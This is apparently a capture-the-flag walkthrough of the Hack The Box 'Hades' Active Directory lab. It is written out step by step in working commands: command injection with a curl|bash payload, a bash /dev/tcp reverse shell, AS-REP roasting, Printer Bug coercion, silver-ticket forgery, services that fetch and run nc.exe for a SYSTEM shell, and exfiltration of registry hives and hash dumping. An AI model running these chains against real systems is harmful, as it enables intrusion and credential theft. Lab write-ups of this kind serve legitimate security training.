In this walkthrough I will show how to own the Hades Endgame from Hack The Box. For me it was the most mesmerizing experience I have got at HTB so far. Hades simulates a small Active Directory environment full of vulnerabilities & misconfigurations which can be exploited to compromise the whole domain. This lab offers you an opportunity to play around with AS-REP Roasting, exploiting Printer Bug from Linux, decrypting DPAPI secrets, abusing Kerberos resource-based constrained delegation and spoofing Active Directory-integrated DNS alongside with some other challenges of dealing with enterprise infrastructure. Let the madness begin!

HTB Endgame Walkthoughs:

banner.png

info.png

1. Chasm

CMDi (Prologue)

There is a web app at 10.13.38.16 with a CMDi vulnerability which becomes out entry point. After getting a shell on the box we find ourselves inside a Docker container. Having done some network reconnaissance we discover three more live hosts that matter:

www-data@cee1146c7ac1:/tmp/.1$ ./nmap -n -sn -PS445 192.168.0.0/16 --min-rate 10000 --min-hostgroup 10000
Nmap scan report for 192.168.3.201
Host is up (0.0094s latency).
Nmap scan report for 192.168.3.202
Host is up (0.0094s latency).
Nmap scan report for 192.168.3.203
Host is up (0.0092s latency).
Nmap scan report for 192.168.99.1
Host is up (0.021s latency).
Nmap scan report for 192.168.99.100
Host is up (0.017s latency).
Nmap done: 65536 IP addresses (5 hosts up) scanned in 75.59 seconds
Name IP
DEV.HTB.LOCAL 192.168.3.201
WEB.HTB.LOCAL 192.168.3.202
DC1.HTB.LOCAL 192.168.3.203

The futher engagement is taking place through pivoting to the intranet network (192.168.3.0/24) through the gateway (10.13.38.16). For the proxying needs I will mostly use revsocks:

root@kali:~/htb/endgames/hades$ ./revsocks -listen :8000 -socks 127.0.0.1:1080 -pass passw0rd
www-data@cee1146c7ac1:/tmp$ ./revsocks -connect 10.14.14.37:8000 -pass passw0rd

It should also be noted that it’s handy to reduce (by 10 times) proxychains’ timing options when you’re trying to nmap the environment in order not to wait too long for filtered ports to time out:

root@kali:~$ cat /etc/proxychains4.conf |grep time_out
tcp_read_time_out 1500
tcp_connect_time_out 800

When it comes to dealing with multiple meterpreter sessions, it’s more handy to use Metasploit builtin proxy server but it’s a way slower. So if you choose MSF SOCKS proxy, you may want to increase the timeout options above (otherwise there’d be no connection at all).

A raw killchain for the foothold part with MSF:

root@kali:$ msfdb start && msfconsole -qr autorun.rc
root@kali:$ msfvenom -p linux/x86/meterpreter/reverse_tcp -b '\x00\xff' -n 100 LHOST=10.14.14.37 LPORT=9001 -f elf --platform linux -a x86 > pivot.elf

root@kali:$ ./ssltools_shell.sh
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337
Ncat: Connection from 10.13.38.16.
Ncat: Connection from 10.13.38.16:49513.
bash: cannot set terminal process group (39): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cee1146c7ac1:/var/www/html/ssltools$ ls
0fe092ba0_flag.txt
certificate.php
logo.png

www-data@cee1146c7ac1:/var/www/html/ssltools$ cat 0fe092ba0_flag.txt
HADES{Fr4gil3_************}

www-data@cee1146c7ac1:/var/www/html/ssltools$ mkdir /tmp/.1 && cd /tmp/.1 && wget 10.14.14.37/pivot.elf && chmod +x pivot.elf && ./pivot.elf &

meterpreter > run autoroute -s 192.168.3.0/24
meterpreter > run autoroute -p
(Same as)
msf5 > route add 192.168.3.0/24 1
msf5 > route
# autorun.rc

handler -H tun0 -P 9001 -p linux/x86/meterpreter/reverse_tcp
handler -H tun0 -P 9002 -p windows/x64/meterpreter/reverse_tcp
handler -H tun0 -P 9003 -p windows/x64/meterpreter/reverse_tcp
use auxiliary/server/socks5
run -j
back
#!/usr/bin/env bash
# ssltools_shell.sh

(sleep 0.1; curl -sk https://10.13.38.16/ssltools/certificate.php -d 'name=10.13.38.16/$(curl${IFS}10.14.14.37/rev|bash)' > /dev/null &)
rlwrap nc -lvnp 31337
#!/usr/bin/env bash
# rev

bash -i >& /dev/tcp/10.14.14.37/31337 0>&1

Also note that in some places where any type of non-permanent crypto stuff values are metioned (machine account passwords, hashes, etc.), there can be mismatches between the actual values of this crypto stuff. The Hades Endgame was being reset very often so some of these non-permanent secrets were being changed every time the lab started from its factory default state.

2. Guardian

ASREPRoast

It was not possible to request all the SPNs from AD for this lab because LDAP authentication was required so I was not able to run GetNPUsers.py htb/ just on slash (crashes with [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090A37, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563 exception).

So I used seclists/Usernames/Names/names.txt wordlist to brute force user account names one by one:

root@kali:$ export KRB5CCNAME=; proxychains4 -q GetNPUsers.py htb/ -dc-ip 192.168.3.203 -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt -request -format hashcat -outputfile asrep.hash -debug |tee getnpusers.log
root@kali:$ cat getnpusers.log |grep -v 'Client not found in Kerberos database'
[-] User dev doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] [Errno Connection error (192.168.3.203:88)] [Errno 111] Connection refused
[-] [Errno Connection error (192.168.3.203:88)] [Errno 111] Connection refused
[-] User kalle doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lee doesn't have UF_DONT_REQUIRE_PREAUTH set

root@kali:$ cat asrep.hash
$krb5asrep$23$bob@HTB:e5924ba07340e93fe3c24a3c8a186180$1fe8d6bd3557b3e6050e85350c00063862b87d42dcc7779d23b6d2dcb0ec3c41febc11fbb201fc98cee6ead406737af9d090a08e554a23d2ae00fb19d099b3753e8e9402d1254f51626d1c73182dc68cccc700a918cd80daf8c2f19dcb2b9b9d8f296ea3f60c3e7b9e8010584bf3ac98b986f470d9d8225158cb9a151c8777e1cbac86990f3b0da350b6e2676d8ad195a437b2df76e04e76362ef0078c55fef801e7bb005cdf93fcb939dc18626374aaebb451e179a9bc60bd349ad28b19c7622fe64aa00819860ab0b81bb482175c45b8973060b485da378721cc3390d89b41

Cmd > ./hashcat64.exe -m 18200 -a 0 -r rules/best64.rule hashes/asrep.hash seclists/Passwords/*
bob:Passw0rd1!

Enumeration with CME

Enum and spider SMB shares with CME:

root@kali:$ proxychains4 -q crackmapexec smb 192.168.3.201-203 -u 'bob' -p 'Passw0rd1!' --shares

cme-shares.png

root@kali:$ proxychains4 -q crackmapexec smb 192.168.3.203 -u 'bob' -p 'Passw0rd1!' -d 'HTB' --spider Users --pattern '.'

cme-shares-spider.png

See the second flag!

root@kali:$ proxychains4 -q smbclient -U bob '\\192.168.3.203\Users' 'Passw0rd1!'
smb: \> get bob/flag.txt
root@kali:$ cat flag.txt
HADES{DoNt_d1s4ble_***************************}

Dumping more info with CME:

cme-pass-pol.png

cme-users.png

cme-groups.png

cme-sessions.png

3. Messenger

Getting Machine Account Hash via [MS-RPRN] Printer Bug

Prerequisites

Recon

The usage of spool service on target host can be confirmed with impacket/rpcdump.py:

root@kali:$ proxychains4 -q rpcdump.py htb.local\bob:'Passw0rd1!'@192.168.3.201 | tee log/rpcdump-192.168.3.201.log
root@kali:$ cat log/rpcdump-192.168.3.201.log | grep 12345678-1234-ABCD-EF00-0123456789AB -B3
Protocol: [MS-RPRN]: Print System Remote Protocol
Provider: spoolsv.exe
UUID    : 12345678-1234-ABCD-EF00-0123456789AB v1.0

Exploitation

Definitions:

  • NTHash == local password hash (algorithm)
  • Net-NTLMv1 / Net-NTLMv2 == network authentication protocols
  • NTLMv1-SSP / NTLMv2-SSP == NTLMv1/v2 Session Security Providers (protocols)
  • NTv1 / NTv2 Hash (Response) == NTLMv1 / NTLMv2 Hash (Response)

Responder’s structure of captured data for [SMB] NTLMv1:

<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>

Killchain overview:

  • SpoolSample [MS-RPRN] > Net-NTLMv1 Hash (Net-NTLMv1 Response) > NTLM Hash (NTHash) > Silver Ticket

Killchain steps:

1. In Responder.conf change the server challenge to be 1122334455667788 in order to use rainbow tables at crack.sh.

2. Start Responder with --lm to disable SSP:

root@kali:$ ./Responder.py -vI tun0 --lm

3. Trigger [MS-RPRN] RPC call with dementor.py to coerce DEV.LOCAL.HTB (192.168.3.201) talk to us under the pretext of subscribing to notifications of changes on the print server:

root@kali:$ proxychains -q ./dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.37 192.168.3.201
[SMB] NTLMv1 Hash     : DEV$::HTB:F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8:F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8:1122334455667788

Btw, this would have happend if we had not used the --lm flag (with SSP enabled Client Challenged is added to the authentication process, see Andrei Miroshnikov. Windows Security Monitoring: Scenarios and Patterns, Part III, pp. 330-335.):

root@kali:$ ./Responder.py -vI tun0
root@kali:$ proxychains -q ./dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.37 192.168.3.201
[SMB] NTLMv1-SSP Hash     : DEV$::HTB:95D546CD84FACA1D00000000000000000000000000000000:B45CDCF2A344D085D678142D0AD39BD3C287A817CF4240D0:1122334455667788

4. Crack the response with crack.sh

Input:

NTHASH:F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8

Output (via email):

Crack.sh has successfully completed its attack against your NETNTLM handshake. The NT hash for the handshake is included below, and can be plugged back into the 'chapcrack' tool to decrypt a packet capture, or to authenticate to the server:

Token: $NETNTLM$1122334455667788$F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8
Key: fc64914083cfe79b3a01cd44550044fe

This run took 30 seconds. Thank you for using crack.sh, this concludes your job.

Got the NTHash: fc64914083cfe79b3a01cd44550044fe. To validate the result you want to download hashcat-utils and run the command:

root@kali:$ ./ct3_to_ntlm.bin 32BF0CDA26B96BD8 1122334455667788
44fe  <-- final 4 characters of NTLM hash

To crack locally with hashcat and ntlmv1-multi:

root@kali:$ python3 ./ntlmv1.py --ntlmv1 'DEV$::HTB:F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8:F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8:1122334455667788'
Hashfield Split:
['DEV$', '', 'HTB', 'F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8', 'F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8', '1122334455667788']

Hostname: HTB
Username: DEV$
Challenge: 1122334455667788
LM Response: F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8
NT Response: F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8
CT1: F69E06E7A3CF92C6
CT2: 525DB6A4FD8EDA21
CT3: 32BF0CDA26B96BD8

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 32BF0CDA26B96BD8 1122334455667788

To crack with hashcat create a file with the following contents:
F69E06E7A3CF92C6:1122334455667788
525DB6A4FD8EDA21:1122334455667788

echo "F69E06E7A3CF92C6:1122334455667788">>14000.hash
echo "525DB6A4FD8EDA21:1122334455667788">>14000.hash

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:F69E06E7A3CF92C6525DB6A4FD8EDA2132BF0CDA26B96BD8

root@kali:$ echo 'F69E06E7A3CF92C6:1122334455667788' >> 14000.hash
root@kali:$ echo '525DB6A4FD8EDA21:1122334455667788' >> 14000.hash

root@kali:$ ./hashcat64.exe -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes/14000.hash '?1?1?1?1?1?1?1?1'

An 8x 1080 rig can brute force it in about 6 days, so consider Rainbow Tables… We’re cracking a machine account (that’s why worldlists are useless – we’re hunting for machine’s NTHash, not password).

5. Anyways, got the hash: fc64914083cfe79b3a01cd44550044fe. We can validate it with CME and move on to the next phase:

root@kali:$ proxychains4 -q crackmapexec smb 192.168.3.201 -u 'DEV$' -H 'fc64914083cfe79b3a01cd44550044fe' -d 'HTB'
SMB         192.168.3.201   445    DEV              [*] Windows Server 2019 Standard 17763 x64 (name:DEV) (domain:HTB) (signing:False) (SMBv1:False)
SMB         192.168.3.201   445    DEV              [+] HTB\DEV$ fc64914083cfe79b3a01cd44550044fe

Refs

Using Silver Ticket with services.py

Definitions:

  • Silver Ticket == Forged TGS Ticket

Prepare DNS (dnsmasq)

To stay organized and not to pollute /etc/hosts contents I’ll run local DNS server (dnsmasq) with all the needed hostnames for Kerberos auth procedure:

root@kali:$ sudo dnsmasq --no-daemon --log-queries -C /root/htb/endgames/hades/resolver/htb-local.conf

dnsmasq.png

# htb-local.conf

192.168.3.201   dev.htb.local dev
192.168.3.202   web.htb.local web
192.168.3.203   htb.local htb dc1.htb.local dc1
# htb-local.hosts

# Do NOT read resolv.conf
no-resolv

# Do NOT poll /etc/resolv.conf file, reload only on SIGHUP
no-poll

# Specify a hosts file to be read in addition to /etc/hosts
addn-hosts=/root/htb/endgames/hades/resolver/htb-local.hosts

port=53
listen-address=127.0.0.1
interface=lo
bind-interfaces

In order not lose 127.0.0.1 entry from the /etc/resolv.conf after each reboot you should install resolvconf and add localhost to its head:

root@kali:$ sudo apt install resolvconf -y
root@kali:$ vi /etc/resolvconf/resolv.conf.d/head
nameserver 127.0.0.1
root@kali:$ sudo resolvconf -u

Refs

Exploitation

Silver ticket can be obtained in a several ways:

1. Using impacket/ticketer.py (Impacket v0.9.22.dev1+20200611.111621.760cb1ea) to generate one locally:

root@kali:$ ticketer.py -nthash fc64914083cfe79b3a01cd44550044fe -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/dev.htb.local Non_Existent_User
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for htb.local/Non_Existent_User
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Non_Existent_User.ccache

root@kali:$ export KRB5CCNAME=`pwd`/Non_Existent_User.ccache

root@kali:$ proxychains4 -q psexec.py 'htb.local/Non_Existent_User@dev.htb.local' -k -no-pass -debug
[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[+] StringBinding ncacn_np:dev.htb.local[\pipe\svcctl]
[+] Using Kerberos Cache: /root/htb/endgames/hades/tickets/Non_Existent_User.ccache
[+] Returning cached credential for CIFS/DEV.HTB.LOCAL@HTB.LOCAL
[+] Using TGS from cache
[*] Requesting shares on dev.htb.local.....

2. Or by perfoming Overpass-the-Hash with further Pass-the-Ticket via impacket/getST.py (or impacket/getTGT.py):

root@kali:$ proxychains4 -q getST.py -dc-ip 192.168.3.203 -spn cifs/dev.htb.local -hashes :fc64914083cfe79b3a01cd44550044fe HTB/'DEV$'
[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in DEV$.ccache
root@kali:$ export KRB5CCNAME=`pwd`/'DEV$.ccache'
root@kali:$ proxychains4 -q psexec.py 'htb.local/DEV$@dev.htb.local' -k -no-pass -debug
[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[+] StringBinding ncacn_np:dev.htb.local[\pipe\svcctl]
[+] Using Kerberos Cache: /root/htb/endgames/hades/tickets/DEV$.ccache
[+] Returning cached credential for CIFS/DEV.HTB.LOCAL@HTB.LOCAL
[+] Using TGS from cache
[*] Requesting shares on dev.htb.local.....

Or

root@kali:$ proxychains4 -q getTGT.py -dc-ip 192.168.3.203 -hashes :fc64914083cfe79b3a01cd44550044fe HTB/'DEV$'
[*] Saving ticket in DEV$.ccache
root@kali:$ export KRB5CCNAME=`pwd`/'DEV$.ccache'
root@kali:$ proxychains4 -q psexec.py 'htb.local/DEV$@dev.htb.local' -k -no-pass -debug
[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[+] StringBinding ncacn_np:dev.htb.local[\pipe\svcctl]
[+] Using Kerberos Cache: /root/htb/endgames/hades/tickets/DEV$.ccache
[+] SPN CIFS/DEV.HTB.LOCAL@HTB.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] SPN KRBTGT/HTB.LOCAL@HTB.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] No valid credentials found in cache.
[+] Trying to connect to KDC at HTB.LOCAL
[+] Trying to connect to KDC at HTB.LOCAL
[-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)

Unfortunatelly, as you can see above I was not able to get access to SMB this way. Instead I’ll use impacket/services.py to trigger [MS-SCMR] RPC call to create and run a service as LocalSystem.

First, I’ll generate a new silver ticket (the username can be random):

root@kali:$ ticketer.py -nthash fc64914083cfe79b3a01cd44550044fe -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/192.168.3.201 snovvcrash
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for htb.local/snovvcrash
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in snovvcrash.ccache

root@kali:$ export KRB5CCNAME=`pwd`/snovvcrash.ccache

Pay attention: here I can set an IP address for an SPN (not a hostname), it only matters to do it in a same way across all the requests. For example, if I set -spn cifs/192.168.3.201 then I should request 192.168.3.201 (not dev.htb.local) in my next commands. If I have a mismatch (ticket with an IP in the SPN and I issue a request for a hostname or vice versa, I will probably get KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)).

So I create some tasks and get my reverse shell with nc.exe:

root@kali:$ proxychains4 -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name upload_nc -display upload_nc -path 'curl http://10.14.14.37/nc.exe -o C:\\Windows\\Tasks\\nc.exe'
[*] Creating service upload_nc

root@kali:$ proxychains4 -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name upload_nc
[*] Querying service config for upload_nc
TYPE              : 16 -  SERVICE_WIN32_OWN_PROCESS
START_TYPE        :  2 -  AUTO START
ERROR_CONTROL     :  0 -  IGNORE
BINARY_PATH_NAME  : curl http://10.14.14.37/nc.exe -o C:\\Windows\\Tasks\\nc.exe
LOAD_ORDER_GROUP  :
TAG               : 0
DISPLAY_NAME      : upload_nc
DEPENDENCIES      : /
SERVICE_START_NAME: LocalSystem

root@kali:$ proxychains4 -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name upload_nc
[*] Starting service upload_nc
[-] SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not respond to the start or control request in a timely fashion.

root@kali:$ proxychains4 -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name run_nc -display run_nc -path 'C:\\Windows\\Tasks\\nc.exe -e powershell.exe 10.14.14.37 4444'
[*] Creating service run_nc

root@kali:$ proxychains4 -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name run_nc
[*] Querying service config for run_nc
TYPE              : 16 -  SERVICE_WIN32_OWN_PROCESS
START_TYPE        :  2 -  AUTO START
ERROR_CONTROL     :  0 -  IGNORE
BINARY_PATH_NAME  : C:\\Windows\\Tasks\\nc.exe -e powershell.exe 10.14.14.37 4444
LOAD_ORDER_GROUP  :
TAG               : 0
DISPLAY_NAME      : run_nc
DEPENDENCIES      : /
SERVICE_START_NAME: LocalSystem

root@kali:$ proxychains4 -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name run_nc
[*] Starting service run_nc
[-] SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not respond to the start or control request in a timely fashion.
root@kali:$ rlwrap nc -lvnp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.13.38.17.
Ncat: Connection from 10.13.38.17:49737.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> gc \users\administrator\desktop\flag.txt
HADES{Sp0ol_SeRv1ce_*********}

PS C:\Windows\system32> whoami
nt authority\system

PS C:\Windows\system32> [Environment]::Is64BitOperatingSystem
True

PS C:\Windows\system32> ipconfig /all
Windows IP Configuration

   Host Name . . . . . . . . . . . . : dev
   Primary Dns Suffix  . . . . . . . : htb.local
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : htb.local

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
   Physical Address. . . . . . . . . : 00-50-56-B9-FC-E7
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::55c6:a0ca:e28e:cb19%4(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.3.201(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.3.2
   DHCPv6 IAID . . . . . . . . . . . : 67129430
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-26-7F-BD-91-00-50-56-B9-FC-E7
   DNS Servers . . . . . . . . . . . : 192.168.3.203
   NetBIOS over Tcpip. . . . . . . . : Disabled

Ethernet adapter Ethernet1:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2
   Physical Address. . . . . . . . . : 00-50-56-B9-0B-28
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.13.38.17(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.13.38.2
   DNS Servers . . . . . . . . . . . : 8.8.8.8
   NetBIOS over Tcpip. . . . . . . . : Enabled

So now we know that this DEV box is 10.13.38.17. I’ll dump registry hives and use impacket/secretsdump.py to obtain hashes from SAM. The shell was dying like every 10 seconds (as Windows was killing fake service process that did not respond), so I could run only 5-7 commands before I had to respawn it again:

PS > reg.exe save hklm\sam C:\Windows\System32\spool\drivers\color\sam.hive
PS > reg.exe save hklm\system C:\Windows\System32\spool\drivers\color\system.hive
PS > reg.exe save hklm\security C:\Windows\System32\spool\drivers\color\security.hive

PS > certutil -encode C:\Windows\System32\spool\drivers\color\security.hive C:\Windows\System32\spool\drivers\color\security.hive.b64
PS > certutil -encode C:\Windows\System32\spool\drivers\color\sam.hive C:\Windows\System32\spool\drivers\color\sam.hive.b64
PS > certutil -encode C:\Windows\System32\spool\drivers\color\system.hive C:\Windows\System32\spool\drivers\color\system.hive.b64

PS > cd C:\Windows\System32\spool\drivers\color
PS > $base64str = Get-Content sam.hive.b64
PS > Invoke-RestMethod -Uri http://10.14.14.37:81/sam.hive -Method POST -Body $base64str
root@kali:$ cat sam.hive.b64|base64 -d >~/htb/endgames/hades/loot/DEV/registry/sam.hive

PS > cd C:\Windows\System32\spool\drivers\color
PS > $base64str = Get-Content system.hive.b64
PS > Invoke-RestMethod -Uri http://10.14.14.37:81/system.hive -Method POST -Body $base64str
root@kali:$ cat system.hive.b64|base64 -d >~/htb/endgames/hades/loot/DEV/registry/system.hive

PS > cd C:\Windows\System32\spool\drivers\color
PS > $base64str = Get-Content security.hive.b64
PS > Invoke-RestMethod -Uri http://10.14.14.37:81/security.hive -Method POST -Body $base64str
root@kali:$ cat security.hive.b64|base64 -d >~/htb/endgames/hades/loot/DEV/registry/security.hive

I used a simple POST request to send base64 encoded registry hives to Kali as I was not able to set up any other transport (SMB/FTP did not work). Simple Python HTTP server supporting POST:

#!/usr/bin/env python3

"""
Based on: https://gist.github.com/mdonkers/63e115cc0c79b4f6b8b3a6b797e485c7
Usage: ./post-server.py <PORT>
"""

import os
import logging
from http.server import BaseHTTPRequestHandler, HTTPServer


class Handler(BaseHTTPRequestHandler):
	def _set_response(self):
		self.send_response(200)
		self.send_header('Content-type', 'text/html')
		self.end_headers()

	def do_GET(self):
		logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
		self._set_response()
		self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

	def do_POST(self):
		content_length = int(self.headers['Content-Length']) # Gets the size of data
		post_data = self.rfile.read(content_length) # Gets the data itself
		#logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8'))
		self._set_response()
		self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

		i = 0
		while True:
			i += 1
			filename = f'response.{i}'
			if not os.path.isfile(filename):
				with open(filename, 'w', encoding='utf-8') as f:
					f.write(post_data.decode('utf-8').replace(' ', '').replace('-----BEGIN CERTIFICATE-----', '').replace('-----END CERTIFICATE-----', ''))
				break


def run(server_class=HTTPServer, handler_class=Handler, port=8080):
	logging.basicConfig(level=logging.INFO)
	server_address = ('', port)
	httpd = server_class(server_address, handler_class)
	logging.info('Starting httpd...\n')
	try:
		httpd.serve_forever()
	except KeyboardInterrupt:
		pass
	httpd.server_close()
	logging.info('Stopping httpd...\n')


if __name__ == '__main__':
	from sys import argv

	if len(argv) == 2:
		run(port=int(argv[1]))
	else:
		run()

Another way to transfer the files is to create a share on the victim’s host and then just connect to it:

PS > mkdir C:\smb_pentest
PS > reg.exe save hklm\sam C:\smb_pentest\sam.hive
PS > reg.exe save hklm\system C:\smb_pentest\system.hive
PS > reg.exe save hklm\security C:\smb_pentest\security.hive
PS > cmd /c net share pentest=c:\smb_pentest /GRANT:"Administrator,FULL"

root@kali:$ proxychains4 -q smbclient.py -hashes :67bb396c79f56301b7dc5d219cc85d86 'administrator@192.168.3.201'
# shares
IPC$
pentest
# use pentest
# ls
drw-rw-rw-          0  Sun Jun 28 00:31:35 2020 .
drw-rw-rw-          0  Sun Jun 28 00:31:35 2020 ..
-rw-rw-rw-      53248  Sun Jun 28 00:25:34 2020 sam.hive
-rw-rw-rw-      49152  Sun Jun 28 00:25:46 2020 security.hive
-rw-rw-rw-   12488704  Sun Jun 28 00:26:17 2020 system.hive
# get sam.hive
# get system.hive
# get security.hive

PS > cmd /c net share pentest /delete
PS > rm -re -fo C:\smb_pentest

Extracting hashes locally:

root@kali:$ secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
[*] Target system bootKey: 0xe4b2298c95677ce18cd2198b9a36c7df
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:67bb396c79f56301b7dc5d219cc85d86:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
loginus:1000:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
root@kali:$MACHINE.ACC:plain_password_hex:8b1e2ebd9c3241175d90c016c9fc96852f21870a22921266cb360023620822797e7a5f519dd558441b2a917fa5ea4e6144e147466ab43b37a9e1d4ed566e588a0d2967c5ccfca4a005b522a2c2a56e5731d24ff80f4546a495e00f655acf350edbd61dfdcd18e5a461ca188727b4e8f5bc95b93758711d2870d87531583906961f1223d4ac5c2abbc72eb75f9f05adf8cf7c2099de11efcaab5f6af84349dfcfd2a9860ec6a58fc51124b4aabd1316bf20b279d7eacea138a0d996a43521b8102957df0162896e9def22413b7921892034b0d8fc543bcce540f559bc043716f71cd3860b7166f32922f491cd4db931f9
root@kali:$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:32edad1d27e9ccaeb101700abc817083
[*] DPAPI_SYSTEM
dpapi_machinekey:0x14af28a044205b29fa287ffe035ce80102d09125
dpapi_userkey:0x88e6521c1ff9c47e1f9a3404fd64f5753d55e5b2
[*] NL$KM
 0000   BC E0 99 9D 97 B6 E7 9D  3C B1 0F E7 4E 01 C8 DE   ........<...N...
 0010   07 E2 02 7F 6C 29 01 D0  78 33 49 F3 DA A8 F5 28   ....l)..x3I....(
 0020   DD 37 D3 B2 91 9B 7D 68  0B 09 E3 5C 52 AE 71 7C   .7....}h...\R.q|
 0030   40 A9 85 15 6B 48 37 EE  87 82 3E 6D B0 25 89 6B   @...kH7...>m.%.k
NL$KM:bce0999d97b6e79d3cb10fe74e01c8de07e2027f6c2901d0783349f3daa8f528dd37d3b2919b7d680b09e35c52ae717c40a985156b4837ee87823e6db025896b
[*] Cleaning up...

And boom, DEV is Pwn3d!

cme-dev-pwn3d.png

Here is what it looks like when secretsdump.py is used without the SECURITY hive, btw:

root@kali:$ secretsdump.py -sam sam.hive -system system.hive LOCAL
[*] Target system bootKey: 0xe4b2298c95677ce18cd2198b9a36c7df
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:67bb396c79f56301b7dc5d219cc85d86:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
